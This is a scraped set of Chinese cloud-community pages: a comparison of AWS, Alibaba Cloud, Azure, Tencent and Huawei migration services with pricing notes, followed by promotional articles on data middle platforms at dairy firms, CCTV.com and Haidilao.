    服务器迁移中心(Server(涩喂) Migration(买个瑞肾) Center(森特),简称SMC)是阿里云自主研发的迁移平台。使用SMC,可将您的单台或多台迁移源迁移至阿里云。迁移源(或源服务器)概指您的待迁移IDC服务器、虚拟机、其他云平台的云主机或其他类型的服务器。
    收费:SMC为免费服务,但是在迁移过程中会涉及少量的阿里云ECS资源计费。迁移过程中,SMC在您的阿里云账号下创建的ECS资源和计费方式如下:
    中转实例:按量计费。
    云盘(挂载到中转实例):按量计费。
    快照:您开通快照服务时所选择的计费方式,默认为按量计费。
    自定义镜像:免费。
    网址:https://help.aliyun.com/document_detail/121581.html?spm=a2c4g.11174283.6.544.4c003b5aWNAumJ

    Azure = Azure 站点恢复
    Azure 站点恢复可以协调和管理 Azure VM、本地 VM 与物理服务器的灾难恢复。 使用快速入门和教程了解如何复制、故障转移与故障回复。
    收费:Azure 站点恢复按照受保护的实例的数量进行计费。
    网址:https://docs.azure.cn/zh-cn/site-recovery/site-recovery-overview

    腾讯云 = 在线迁移服务
    在线迁移是服务迁移的方式之一,可将源服务器上的系统、应用程序等从自建机房(IDC)或云平台等源环境迁移至腾讯云,方便实现企业上云、跨云平台迁移、跨账号/区域迁移或部署混合云等业务需求。
    收费:涉及少量费用
    网址:https://cloud.tencent.com/document/product/213/32961

    华为云 = 主机迁移服务
    主机迁移服务(Server Migration Service,SMS)是一种P2V/V2V迁移服务,可以把X86物理服务器或者私有云、公有云平台上的虚拟机迁移到华为云弹性云服务器云主机上,从而轻松地把服务器上的应用和数据迁移到华为云。
    收费:主机迁移服务本身不收取费用,但是迁移过程中会产生少量的硬盘、快照的费用。
    网址:https://support.huaweicloud.com/sms/index.html

    开源工具 = 迁云工具既适用于P2V(Physical to Virtual),也适用于V2V(Virtual to Virtual)。P2V代表从物理IDC环境迁移到云上服务器,V2V代表从虚拟机环境或者云平台主机迁移到云服务器。
    收费:迁云工具免费,但是在迁云过程中会涉及少量资源计费,请确保您的账号余额大于等于100元:

    # 迁移-数据库/DB
    AWS = AWS Database Migration(买各瑞肾) Service(涩喂司)
    AWS DMS 可轻松迁移关系数据库、数据仓库、NoSQL 数据库及其他类型的数据存储。您可以使用 AWS DMS 将数据迁移到 AWS 云,在本地实例之间(通过 AWS 云设置)进行迁移,或者在云与本地设置的组合之间进行迁移。
    收费:按照每个可用区(多可用区、单可用区)每小时价格收费、通用型(SSD)存储存储费用。
    网址:https://docs.amazonaws.cn/dms/latest/userguide/Welcome.html

    阿里云 = 数据传输服务DTS / 在线迁移服务(迁移对象存储是各家公有云解决方案最全的) / (针对于Oracle数据库有数据库和应用迁移服务ADAM)
    数据传输服务DTS:数据传输服务DTS(Data Transmission Service)是阿里云提供的实时数据流服务,支持RDBMS、NoSQL、OLAP等,集数据迁移/订阅/同步于一体,为您提供稳定安全的传输链路。
    收费:预付费、包年包月的不同、数据出网流量费用、入网免费、订阅费用
    网址:对象存储迁移:https://help.aliyun.com/product/94157.html?spm=a2c4g.750001.list.34.727c7b13i3wSOo
    DTS网址:https://help.aliyun.com/document_detail/26592.html?spm=a2c4g.11174283.6.545.3ce66ad1eSEKOS
    数据库迁移服务:https://help.aliyun.com/product/53556.html?spm=a2c4g.750001.list.53.214f7b13TGeWN1

    Azure = Azure 数据库迁移服务/Azure存储资源管理器(迁移对象存储 blob)/数据工厂(迁移数据仓库)
    Azure 数据库迁移服务是一项完全托管的服务,旨在实现从多个数据库源到 Azure 数据平台的无缝迁移,并且最大限度地减少停机时间(联机迁移)用于迁移操作数据库和数据仓库。
    收费:在虚拟核心 (vCore) 中预配计算。vCore 表示逻辑 CPU
    网址:https://docs.azure.cn/zh-cn/dms/dms-overview

    腾讯云 = 数据传输服务DTS/迁移服务平台
    数据传输服务(Data Transmission Service,DTS)是提供数据迁移、数据同步、数据订阅于一体的数据库数据传输服务。帮助用户在业务不停服的前提下轻松完成数据库迁移,利用实时同步通道轻松构建异地容灾的高可用数据库架构,利用数据订阅提供的数据库实时增量更新数据,用户可根据自身业务需求自由消费增量数据。
    迁移服务平台,是腾讯云提供的迁移工具整合以及监控平台。迁移服务平台MSP内置了数据库、主机、对象存储的迁移工具。迁移过程无需编写任何代码,仅通过界面配置即可完成迁移工作。
    收费:免费
    数据传输服务:https://cloud.tencent.com/document/product/571/8707
    迁移服务平台网址:https://cloud.tencent.com/document/product/623/12832

    华为云 = 对象存储迁移服务/数据复制服务
    对象存储迁移服务(Object Storage Migration Service,OMS)是一种线上数据迁移服务,帮助您将其他云服务商对象存储服务中的数据在线迁移至华为云的对象存储服务(Object Storage Service,OBS)中。
    数据复制服务(Data Replication Service,简称DRS)是一种易用、稳定、高效、用于数据库在线迁移和数据库实时同步的云服务。
    收费:累计使用的迁移流量进行收费,2020年7月1日前,对象存储迁移服务处于免费促销期,免费期结束后将正常收费。
    网址:https://support.huaweicloud.com/oms/index.html
    数据复制服务:https://support.huaweicloud.com/productdesc-drs/drs_01_0002.html

    开源工具 =
    方法1:用脚本实现读写(Python,pymysql)
    思路:需要涉及到两个库的连接,从库A进行数据的读,然后往库B进行数据写入

    方法2:通过第三方工具使用mysqldump、Navicat、redis-port 来进行更快速的插入,

    # 迁移-大数据/PB级数据
    AWS = AWS Snowball(丝“NO”鲍)
    Snowball 设备是坚固的设备,受 AWS Key Management Service (AWS KMS) 保护。它们在传输过程中保护您的数据。
    网址:https://docs.amazonaws.cn/snowball/latest/ug/whatissnowball.html

    阿里云 = 闪电立方
    闪电立方是一种PB级别端到端的离线数据迁移服务,能够使用安全设备将大量数据传入阿里云。
    网址:https://help.aliyun.com/product/54466.html?spm=a2c4g.750001.list.26.214f7b13TGeWN1

    Azure = Azure 导入/导出服务
    使用Azure导入/导出服务将磁盘驱动器寄送到Azure数据中心,从而安全地将大量数据传输到Azure Blob存储和Azure文件。
    网址:https://docs.microsoft.com/zh-cn/azure/storage/common/storage-import-export-service

    腾讯云 = 云数据迁移/大数据迁移
    云数据迁移(Cloud Data Migration,简称 CDM)是腾讯云提供的 TB - PB 级别的数据迁移上云服务。
    网址:https://cloud.tencent.com/document/product/623/12832
    大数据迁移:https://cloud.tencent.com/document/product/648/12962

    华为云 = 数据快递服务 DES/云数据迁移
    数据快递服务(Data Express Service)是一种海量数据传输解决方案,支持TB到PB级数据上云,通过Teleport设备或硬盘(外置USB接口、SATA接口、SAS接口类型)向华为云传输大量数据,致力于解决海量数据传输网络成本高、传输时间长等难题
    云数据迁移(Cloud Data Migration,简称CDM)提供同构/异构数据源之间批量数据迁移服务,帮助客户实现数据自由流动。支持客户自建和公有云上的文件系统,关系数据库,数据仓库,NoSQL,大数据云服务,对象存储等数据源。
    收费:根据选择的实例规格、集群状态、使用时长计费,计费方式简单进行计费,易于预测。既可以选择按照小时计费的方式,也可以选择更经济的预付费折扣套餐。
    云数据迁移网址:https://support.huaweicloud.com/cdm/index.html
    数据快递服务网址:https://support.huaweicloud.com/productdesc-des/zh-cn_topic_0047663842.html

    ]]>
    【解读】数据中台有效助力乳业数字化进程-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 中国乳制品市场是一个超千亿元的成熟市场。根据中国奶业年鉴数据,2018年中国乳制品市场规模达到3590.41亿元,同比增长-5.3%;总销量3099万吨,同比增长1.0%。

    这组数据可清晰地看出中国乳制品行业的现状,规模大、增长停滞,这是一个成熟市场的标志,也是乳制品行业面临的第一个痛点。亿欧智库最新发布的《2020年中国乳制品行业数据中台研究报告》中也同样揭示了当前乳业面临的发展问题:增长、升级、多样化。

    在已经过去的2019年国内乳企已经使出浑身解数:蒙牛持续发力海外业务布局全球化,新希望在低温市场找到发力路径,三元借势“肉菜奶”组合大打“食品包”,贝因美触电网红经济玩起社群营销……在激烈的市场竞争中保有甚至扩大自身那一杯“羹”。

    而《2020年中国乳制品行业数据中台研究报告》则非常明确地认为,国内乳企曾经的单点数字化已经不足以支撑它们目前的发展。全流程、可快速响应的数字化方案将成为中国乳制品新的方向。
    谁将成为这一新方向的推力?
    同样是2019年,飞鹤、雅士利等国内知名乳业品牌纷纷拥抱数据中台,并逐渐成为乳制品行业数智化的一个方向。
    那么,国内乳制品行业数据中台的实践效果如何?数据中台究竟有何魔力?

    01 数据中台可以解乳业面临的痛点难题吗?
    在解这个问题之前,我们首先要分析清楚中国乳业痛点具体表现在哪里?
    目前中国乳制品市场液态奶占据95%以上比例,再细分来看,液态奶又可细分常温白奶、常温酸奶、低温酸奶、鲜奶、含乳饮料组成,细分品类众多。这将导致在每个细分领域,都会不断有新的企业进入下游成品奶市场,根据Mintel GNPD2018年数据显示,2013年-2018年低温酸奶、鲜奶、常温奶、奶粉四大品类汇总的新建立品牌数增速高达23.86%,激烈的竞争导致乳制品行业整体的利润水平较低,行业总体净利润保持在7%以内。
    1.png
    图片来源自《2020年中国乳制品行业数据中台研究报告》

    尽管不同细分领域的竞争较激烈,但总体的市场还是较集中的。
    2018年伊利、蒙牛、光明、飞鹤四大集团总收入超1800亿元,占据整个乳制品行业的半壁江山。因此,对于集团公司来说,如何管理旗下众多品牌,以及不同品牌衍生出的生产、供应链、营销的综合管理问题;而对于小型公司来说,如何优化企业运作效率,从敏捷高效的管控流程中创造利润是其主要难点。

    当然,由于电商、新零售的普及,乳制品行业的渠道也发生了很大的变化,2005年杂货店占据了中国乳制品渠道的50%,但如今只有不到1/4,并且还在缩减;蚕食该渠道的主要是网购和低温便利店;而大卖场和超市这么多年依然稳坐另一半渠道江湖。
    2.png
    图片来源自《2020年中国乳制品行业数据中台研究报告》

    零售渠道的演变是一个逐步规范、集中和可控的过程,因此目前的乳制品企业都试图更好的控制销售渠道,更加接近消费者,这就产生了另一个重要的痛点问题,即如何更好地管理渠道、更好地链接消费者?
    一边乳制品企业还没很好的了解消费者,同时消费者偏好的变化速度正在加快,因此品牌、产品的更新速度也得同步加快,如何掌握这个节奏?如何更精准的了解消费者的需求?
    在《2020年中国乳制品行业数据中台研究报告》中,亿欧智库总结了乳制品行业面临的三大痛点:增长、升级、多样化
    ** - 增长指的是总体销售额增长乏力,处在存量竞争阶段,如何获得新的增长?

    • 升级指的是乳制品行业总体利润较低,行业如何不断寻找新利润点?
    • 多样化指的是渠道、品牌、产品的多样化使得乳制品市场竞争加剧,如何满足产品快速迭代、服务快速响应需求。
      **

    实际上每一个问题都没法完全依靠数字化解决,但是数字化能为其提供新的方案和路径。如针对增长问题,精细化运营是个突破口,而精细化运营的基础就是数字化的程度足够高;针对升级问题,全域优化、品类升级都是新突破口,其中全域优化就是数字化层面的问题;针对多样化问题,加强消费者端的数字化建设是重要的基础。

    根据《2020年中国乳制品行业数据中台研究报告》,中国乳制品数字化进程基本完成重要环节(如质量安全、供应链管理)的信息化,但各个系统的数字化程度不一、数据资产孤岛化,与消费者的连接较弱;同时中国乳制品进入了寻找新增长、等待升级、适应多样化的新阶段。

    但是,在增长、升级、多样化的痛点前面,基于单点的数字化已无法满足需求,因为痛点背后是精细化运营、全域优化、快速响应的产业需求,因此全流程、可快速响应的数字化方案将成为中国乳制品新的方向。

    《2020年中国乳制品行业数据中台研究报告》认为,数据中台能有效助力乳制品行业全域+敏捷数字化发展。讨论数据中台这个概念的时候,阿里巴巴的观点则不容忽视。

    作为这一概念的首创者和实践者,阿里巴巴对数据中台的定义解释为:数据中台是集方法论、组织和工具于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。
    这也进一步证实了亿欧智库分析师们的研究。亿欧智库的分析师认为:数据中台的构建基于新的技术、理念和方法论,可解决传统数仓的系统建设问题,有效适应新变化,是企业数字化系统迈向数据智能的重要演进之路。
    3.jpg
    图片来源自《2020年中国乳制品行业数据中台研究报告》

    回到最初的问题,乳制品行业在迈向数字化过程中数据中台确实是它们在此间解决痛点的不可或缺的助力。

    02 数据中台通过什么来助力企业数字化变革?

    按照通俗的说法,过去乳制品行业企业走过的是内部信息化的过程,其中对数据的存储、管理和使用也随着信息化程度在发展,我们姑且称这个过程为数字化变革的过程。

    数字化的背后有两个重要的组成部分,一个是技术、一个方法论,技术是指数据库、数仓所依赖的技术方案,而方法论在于乳企如何管理数据、如何提炼数据价值、如何让数据更好赋能企业发展,这需要企业管理思想、行业know-how、组织架构和员工参与度等多方面因素共同影响。

    早期企业的数字信息较少,通过部署数据库以及少量开发人员就可以满足简单的业务支持分析,但对着数据量变大,多层级部门的日常操作、分析在多类型、多个数据库之间进行,使得数据的抽取和访问显得错综复杂,会产生较多问题,如数据分析结果缺乏可靠性、数据处理的效率很低、难于将数据转化为信息等蜘蛛网现象。

    随着数字化程度加深,企业数据量变大,操作和分析对象变多,传统数据库系统会产生“蜘蛛网”现象,数据仓库、OLAP技术成为主流解决方案。

    但目前独立的、固化的、有限的决策支持系统已经无法适应业务快速发展的需求:

    • 首先,传统数仓ETL过程基本依靠人工,且一旦开发完成,数据承载和储存能力的提升将会耗费很长的时间,花费更多的成本。
    • 其次,传统支持决策系统的使用者还是高层管理人员,没有针对具体的业务运营人员的使用渠道,难以适应未来精准化运营的需求。
    • 再次,触点的增多、业务灵活性增加对数据的弹性能力要求增加,数据决策系统需要适应敏捷的业务模式。
      同时,传统支持决策系统各自是独立的,如基于AI、数仓以及各部件的支持系统,随着业务复杂度上升,目前的架构无法满足更多跨系统的决策需求。

    因此,必须构建一种基于新技术、理念和方法论的新型数据智能管理系统,才能更好的满足乳企现阶段的发展需求。
    而根据《2020年中国乳制品行业数据中台研究报告》,亿欧智库认为数据中台是企业内支持高效构建全域数据资产、敏捷赋能多类业务、智能服务全流程人员的新型数据智能系统,能够满足现阶段乳企全域+敏捷的数字化需求。

    亿欧智库在《2020年中国乳制品行业数据中台研究报告》中还特别提及了来自阿里巴巴专家们对定义的深度解释,“数据中台是区别于传统数据仓库的智能大数据体系,帮助企业实现好数据、联商业和通组织”。

    作为数据中台的最佳实践者,阿里巴巴将这一概念以标准化产品和解决方案的形式落地,通过“阿里云数据中台”赋能企业。
    阿里云数据中台主要分为数据资产化数据价值化,并通过环环相扣的产品来实现这“两化”——负责智能数据构建和管理的Dataphin主要实现数据资产化,负责企业用户增长的Quick Audience组织智能决策的Quick BI则致力于数据创造更多价值。

    值得关注的是,上述这些产品和技术都来沉淀自阿里巴巴本身十余年大数据行业经验,这也使得这些产品在理念和能力都处于行业引领者位置。以Quick BI为例,它为云上用户提供的智能BI服务,在全球知名机构Gartner最新年度 ABI魔力象限报告中,它是为国内首个也是唯一一个进入该领域魔力象限的BI产品,其领先优势毋庸置疑。

    通过系列的产品矩阵,叠加阿里云数据中台基于行业属性定制的业务解决方案,共同来推动乳制品行业企业的数字化变革,帮助乳企实现更大的业务智能。
    4.png

    图片来源自《2020年中国乳制品行业数据中台研究报告》

    03 数据中台给乳企带来的阶段性变化在哪里?

    《2020年中国乳制品行业数据中台研究报告》显示,乳制品行业数据中台目前主要聚焦消费者连接环节,逐步向产业链中上游环节渗透。数据中台在消费者连接部分将销售和营销打通,所有触点、流程数据通过中台自动ETL转变成数据资产存放在企业内部数据库中,数据资产实现了统一管理,数据可融合可回传,支持全层级人员进行精准运营。

    从亿欧智库调研情况来看,阿里云数据中台至少已在获客、转化、留存多个方面体现价值,未来同源、敏捷、预知、倒推、双向等数据能力将深入生产和供应链,形成全链条优化基础上的开源节流。

    前文提到的乳制品四小龙之一的飞鹤集团就借助阿里云数据中台实现了阶段性的进展。经过调研、走访和深度访谈,我们了解到飞鹤数据中台分三阶段进行。
    目前已完成第一阶段的建设:第一阶段已消费者服务及终端门店销售为核心,规划了九大业务场景,分别是营销域、交易域、公共域、商品域、会员域、渠道域、财务域、日志域和物流域。
    主要为了实现:有效将客户留存运营,深入存量用户运营,全力赋能线下业务、助力导购,实现客户跨业务引流、转化、留存等需求。

    目前飞鹤搭建数据中台获得同源、敏捷、预知、倒推、双向等数据能力,真正实现精细化运营、数据反哺业务。

    另外,根据亿欧《雅士利:以火箭的速度往前跑,数据中台已经触动组织的变革》一文中,提到雅士利利用阿里云数据中台所提供的品牌全域数据中台解决方案,一共挖掘了5个业务场景:导购场景、门店场景、积分场景、营销活动场景、会员场景。

    2019年双11,雅士利通过数据中台,营销提效实现了去年同期增长92%。而旗下的新生羊奶粉品牌——朵拉小羊也实现了从0到1的成长突破,在2019双11期间,实现了消费者总量增幅达74倍,目标GMV完成率118%,主推单品销售提升1000%+。

    当然,类似于所有信息系统解决方案,企业采用的最终效果跟企业的认知程度、重视程度、员工认可程度高度相关,尽管如此,数据中台还是给了乳制品,乃至于竞争激烈的消费品、食品饮料行业一个新的发展方向。

    更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦

    5.png

    ]]>
    央视网的融媒体数据中台实践-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.png

    作为中央电视台新媒体平台,央视网在不断升级建设“一网(中央重点新闻网站)+一端(移动客户端)+新媒体集成播控平台(IPTV、手机电视、互联网电视)+市场端口连接”的全新传播格局,打造“无处不在”新入口的同时也深刻认识到,需要让大数据成为驱动整个企业发展的核心动能。

      央视网的多终端系统技术平台经过多年建设和发展,各终端都建成了一套适合于自己业务发展和管理规范的相对独立的技术平台,虽然实现了对各自业务的支撑,但也形成了很多数据孤岛,不仅数据独立,数据口径也因对业务的不同理解而千差万别,不同平台和业务线都自成体系,央视网庞大的数据库无法形成产业合力。
    
      事实上,不仅是央视网,许多互联网大型企业都遭遇了同样的问题。借鉴阿里巴巴的中台战略思想,将业务共同的工具和技术沉淀打造“大中台、小前台”的技术布局,将业务发展的全流程进行数据化采集并整合,以数据链打通生产和传播,整合生产数据和多终端用户数据需求,从而进行更高效更精准的定向传播。
    
      央视网大数据平台于2018年底正式建成,是主流媒体中目前计算能力最强、数据量最大的大数据平台。目前每天采集10~20亿条用户数据,系统具备每天处理100亿条数据的能力,采集分析处理央视网PC网站、央视影音客户端、IPTV、手机电视、互联网电视和总台全部微博、微信公众号的用户访问数据。在构建数据中台的过程中也沉淀出一套方法论和服务体系。
    

    一、融媒体数据中台管理体系

      通过建设数据中台,驱动“一切业务数据化”,提升数据资产价值。数据中台是实现媒体数据沉淀的重要组成部分,每家媒体都拥有自己的独特数据模型、算法服务和数据管理规则,这些都与业务强关联,是每家媒体独有且能复用的核心资源。统一的模型维护不仅可以降低烟囱似的协作成本,减少重复建设,更可以在相关业务领域形成数据汇聚,解决数据互通的诉求,实现数据1+1>2。于是央视网构建了OneData、OneID和OneService的数据管理体系,以“承技术启业务”的模式促进媒体融合发展(图1)。

    2.jpg

     **1.数据采集与清洗**
    
      数据采集是数据挖掘、分析的基础,数据的大小、类型以及数据质量直接决定数据分析与挖掘的成果。在实际应用中通常是需要多个维度、多个方面的数据汇集交融。因此在数据采集时,就要考虑多源数据的立体采集,收集尽可能多的数据,同时保证数据质量。
    
      数据采集汇总完成后,需要投入大量的精力和时间对数据进行整理校准,统一口径,规范关联规则,也就是数据清洗。在数据清洗过程中,需要建设完整性、准确性、一致性三个基本准则,最后使数据标准、高质量、可应用。
    
    ** 2.OneData体系**
    
      传统单个业务独立运行并自行管理数据的过程中,我们经常会发现一份原始数据被多个业务存储和计算,产生多个备份,定义出多种口径,命名相同,定义口径却不一样,混乱的标准和规则指向不明,界定模糊,给技术统一管理和业务应用带来极大难度。大数据建设过程就是从无序到有序的逻辑重建过程,由数据接入、规范定义、计算加工、数据验证、数据稳定性等多个部分合并构成了整体数据研发流程。OneData体系致力于建立跨终端数据公共层,保障数据口径的规范性和唯一性。从终端数据源头标准化数据,对每个元数据进行指标定义,使每一条数据都保持唯一性,以确保数据模型建立时,数据的标准性和存储资源开销也是稳定可靠的。
    
    ** 3.OneID体系**
    
      以媒体业务为例,数据主要分为用户数据、媒资数据、业务流程数据、运营数据几类,不同业务模式、产品线、终端、平台都有自己关注的数据指标和参数,业务之间相对独立又整体关联,建立统一的数据管理规则才能从中挖掘更多数据价值。One ID体系致力于建立跨终端的用户ID体系和内容ID体系,深入挖掘用户真实感受和内容价值。
    
     ** 4.OneService体系**
    
      数据定义清晰、规则统一之后,数据最终是要通过可视化的方式给管理人员、业务人员提供服务。在数据中台初始化的过程中,数据团队从管理视角、服务视角、业务视角打造多张数据报表对数据实时监控从而实现业务应用。随着业务应用越来越多,业务关系越来越复杂,需要构建标准化统一服务模型来减少系统对于研发力量的核销和服务计算压力的开销。
    
      要建立OneData、OneID、OneService的数据管理体系,在技术上需要具备很强大的数据计算能力、平台化的数据模型能力以及智能化的数据算法能力,在业务上同样需要媒体行业经验指导,建立合适的业务场景,通过场景应用使数据业务化,从而体现数据的价值,赋能产品线。

    3.jpg

    二、融媒体数据中台实施

      **1.数据分层次**
      传统数仓平台通常会使用ETL(Extract-Transform-Load)将业务系统的数据经过抽取、清洗转换之后加载到数据仓库,目的是将业务线中的分散、零乱、标准不统一的数据整合到一起。随着业务线增多,需求变化加快,通过一个个单一的ETL代码匹配一连串业务场景,显得捉襟见肘,无法符合数据中台建模规范,必须重新定义。
    
      依照OneData体系原则,数据中台数据仓库建模规范,将表数据模型主要分为三个层次,分别是ODS(Operational Data Store)操作数据层、CDM(Common Dimensions Model)公共维度模型层、ADS(Application Data Store)应用数据层,其中公共维度模型层包括明细数据层(DWD)和汇总数据层(DWS)。三个层次自下而上,逐级递进,各层次之间高内聚低耦合,公共层承上启下,业务逻辑下沉,避免了应用层存在过多繁琐的业务逻辑实现。
    
      ODS层:将来源于各终端各个系统最原始的数据,结构化后存放在数据仓库。ODS层属于表模型的最底层,直接对接各终端各业务系统产生的结构化数据、非结构化数据、历史留存数据等。数据接入主要使用同步任务和代码任务方式,对于结构化数据(数据库)采用全量或增量方式同步到数据计算平台,而非结构化数据(日志、埋点采集)需要先进行结构化处理后存储到数据计算平台,对于历史留存数据可根据数据结构特点采用相应方式接入数据计算平台。在这一层实时和离线在源头上是统一的,口径也是基本一致的,在后续数据校验时,可以很容易进行实时和离线间数据的对比。
    
      CDM层:CDM层是数据加工逻辑的核心层,也是数据建模业务数据化的体现点,主要存放明细事实数据、维表数据及公共指标汇总数据。在这层采取维度模型方法基础,更多采用一些维度退化手法,减少事实表和维度表的关联,容易维度到事实表强化明细事实表的易用性;在汇总数据层,加强指标的维度退化,采取更多宽表化的手段构建公共指标数据层,提升公共指标的复用性,减少重复加工。
    
      ADS层:主要存放各终端独立业务产品统计指标数据,主要来源于CDM层加工生成,这一层计算只有业务本身才会关注的维度和指标,与其他终端业务线一般没有交集,都是独立存在,常用于新的业务需求或基于各个应用场景的数据组装。比如:用户留存漏斗模型、视频播放趋势分析都可以按照不同需求从CDM层加工而成(图3)。
    

    4.jpg

     ** 2.定义扣指标**
    
      数据分层规划完成后,下面需要规范定义。这里“规范定义”是指以维度建模作为理论基础,构建总线矩阵,划分和定义数据域、业务过程、维度、度量/原子指标、修饰类型、修饰词、时间周期、衍生指标等。一般指标组成体系可以划分为:原子指标、衍生指标、修饰类型、修饰词、时间周期。在跨终端多业务指标体系建立过程中,应始终遵循OneData原则,避免因为个性化业务需求,创建重复或赘余的指标。
    
     ** 3.维度建模型**
    
      维度建模是专门用于分析型数据库、数据仓库、数据集市建模的方法,以分析决策的需求出发构建模型,构建的数据模型为分析需求服务,重点解决用户如何更快速完成分析需求,同时还具有较好的大规模复杂查询的响应性能。
    
      数据建模首先需要做好业务需求调研。在业务梳理过程中,逐步抽象出数据域。数据域将业务过程和维度进行抽象地集合,在媒体行业中常用会抽象出会员域(注册、登录等)、日志域(曝光、浏览、播放)、互动域(评论、回帖)等,每个数据域会包含不可拆分的行为事件,这需要对业务高度提炼且根据需求持续更新迭代。确定了数据域就需要明确数据域下业务过程与哪些维度有关联,这里就会涉及维度表的创建。
    
      接下来最重要的一项是创建事实表。事实表作为数据仓库维度建模的核心,紧紧围绕业务过程来设计,通过获取描述业务过程的度量来表达业务过程,包含了引用的维度和与业务过程有关的指标,在事实表中应该尽量包含所有与业务过程相关的事实。
    

    5.jpg

      事实表中一条记录所表达的业务细节程度被称为粒度。粒度的声明是事实表设计中不可忽视的重要一步。粒度用于确定事实表中一行所表示业务的细节层次,决定了维度模型的扩展性,在选择维度和事实之前必须先声明粒度且每个维度和事实必须与所定义的粒度保持一致。
    
      遵循OneData体系数据建模实施过程是一个高度迭代和动态的过程,采用螺旋式实施方法。在总体架构设计完成之后,开始根据数据域进行迭代式模型设计和评审。在架构设计、规范定义和模型设计等模型实施过程中,都会引入评审机制,以确保模型实施过程的正确性。
    
     ** 4.平台理资产**
    
      业务以数据化形态展现出来的同时,也无形中变成了最宝贵的资产。数据模型建立不仅需要设计上的合理,更需要平台化的支撑。数据平台资产管理的能力主要表现为:支持基础信息管理的能力,即存放在平台内的表信息、表名、字段、分区、存储空间及数据预览功能;任务血缘关系管理能力,数据平台上管理的代码任务、同步任务应自动或手动建立血缘关系,实现数据链路可查询、可追踪、可溯源能力;数据存放生命周期能力,即存放在平台内的表具有生命周期,在建立表结构的同时指定留存时长,提高平台存储利用率;类目标签体系管理能力,即能对存放在平台的表分门别类,一方面便于业务管理,另一方面便于快速查询;操作记录管理能力,即能够记录对于表结构新增、变更、删除等操作,操作痕迹有据可查,保证平台具备数据审计能力,事故可追根溯源;用户权限管理能力,即表级、行级权限授权,包含权限审批流程,保障数据安全性;脏数据管理能力,即对于平台任务产生的脏数据,能统一查看和处理。数据资产管理平台化是数据中台基础核心功能,也是数据管理体系建设中技术平台化体现(图5)。

    6.jpg

      ** 5.规则保质量**
    
      在实际数据中台实施建设过程中,数据计算任务没有告警,但不代表数据就是正确的,比如源数据异常、代码逻辑修改等原因都会造成结果数据错误。数据质量就是保障数据正确性的工具,主要运用以下几条规则保证数据质量:数据准确性校验规则针对核心的表及字段进行校验规则,比如表的数据量是不是波动很大、字段是否存在异常值或突增突降现象;双表校验规则,在处理历史数据迁移、重要业务逻辑变更时,需要保证数据的一致性,在保持原表的同时创建新逻辑表,待两张表验证结果后再执行变更上线;统计校验规则,按固定周期根据表、字段或业务线核心指标,输出数据校验报表,辅助定位数据质量的问题根源会定期自动执行校验规则,输出校验报告(图6)。

    7.jpg

    三、数据中台建设的经验与启示

      数据中台建设是推进企业发展的重要驱动力。对于已经有较大规模业务的企业来说,历史数据整合比新建数据体系困难更大。传统媒体的技术人才劣势是驱动媒体融合发展中无法回避的弊端,与先进的技术能力提供商联合可以减少弯路加速技术升级进程。
    
      推进中台建设的过程中将会面临着技术挑战、业务挑战、财务挑战以及所有相关利益团队的挑战。既需要企业管理层支持,自上而下地统一思想,更需要在推进过程中脚踏实地、胆大心细。如果说平台搭建可以依赖外部的技术力量,企业数据治理和数据规范则需要在内部团结一切可以团结的力量,让越来越多的业务线共同参与,以同样的理念做好同一件事,从而达成共赢。
    
      数据是辩证的、是客观的,是未经过加工的信息表达载体。在面对这既美妙又枯燥的表达方式时,我们可能碰到的是由每一个功能上线呈现出精彩图表应用带来的喜悦,也可能经历的是由于规则错误导致从头再来的沮丧。“不积跬步,无以至千里”,在漫长的数据中台建设过程中,必将经历各种磨难。痛并快乐着!  
    

    更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦
    5

    ]]>
    海底捞超级App背后,与每个爱吃的你有关-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 2018年的9月26日,海底捞正式登陆香港资本市场,宣告上市。

    拥有“你学不会的海底捞式优质服务”等软实力外,这家餐饮业创新的标志性企业,已经通过和阿里云等企业合作,透过先进的互联网技术开始新的蜕变。

    在一整套技术改造之下,长期沉淀的3000万会员,正在成为海底捞精细化运营的“底料”。

    来自阿里云数据中台的两套产品——Dataphin和Quick BI,为海底捞提供技术助力。千人千面超级App的出现,让海底捞拥有 “私人订制”的服务能力。

    让海底捞更懂吃货们的心,这样的愿景,由此真正得以落地。
    1.jpeg
    海底捞超级App项目工作人员合影

    跨界合作背后充满挑战和艰辛

    合作中,阿里云面对了不少挑战。

    从四川第一家火锅门店起家,海底捞成立至今已经走过25个年头,现在全国门店遍布近100座城市,已开门店超400家,海外门店也有50多家,全球注册会员超3000万。

    作为项目的负责人,阿里巴巴资深技术专家陈晓勇在前期的对接中,与对方一起盘点出现有IT系统存在的一些“问题”。“海底捞多年前在国外购置的CRM系统,仍然基于传统的IOE架构,无法负荷门店扩张的速度和互联网高并发流量的需求,营销部门也不敢大范围的进行促销推广活动。节假日和高峰时段的高请求渐渐使得现有的系统不堪重负,CPU利用率满了,服务系统一到周末或者大促就会出现宕机,这对旗下所有门店的正常营业影响很大。”

    不仅如此,网红餐饮兴起,外卖和互联网化激烈竞争,海底捞也需要打破现有的会员体系和营销手段。

    合作前,海底捞国际控股有限公司首席信息官邵志东表示,他们向阿里云提出了三点要求。“第一,全国400多家门店,一家都不能落下,全部数据要一起上云;第二,旗下3000多万的会员数据,一个都不能丢;第三,项目启动后,港澳台及海外门店的营业不能受到影响,数据不能出错。”

    回忆起整个项目的历程,陈晓勇有感于海底捞对细节的专注和对客户体验的极致追求。“他们非常注重细节,要求很高,对页面字体大小和位置的要求,甚至精确到一个像素。这对于我们来说是很大的挑战,但同时也让我们能够精益求精,不断打磨产品,他们的敬业精神令我们感到钦佩。”

    为了不影响营业,数据迁移和系统割接以及演练都放在了凌晨到早晨9点之间进行。“割接演练最短5小时,最长9小时。基本是从凌晨3点到早上8点,因为9点要开门营业,我们要预留1小时的恢复时间,让新老系统进行切换。我记得最后一次割接从凌晨12点一直持续到第二天早上9点,8点我们开始恢复。”陈晓勇回忆,那段时间,技术部的同学们晚上要做割接,白天还要修复bug,眯眼休息的时间少之又少。

    2.jpeg
    困了就在岗位上眯会儿眼的数据构架师

    经历4次演练,终于在规定时间内完成了大数据迁移,海底捞全国门店所有POS系统,共2万多台用于点餐的iPad一次性顺利升级,千人千面的超级App终于在10月16日正式推出上线。

    打造数据中台并发力赋能

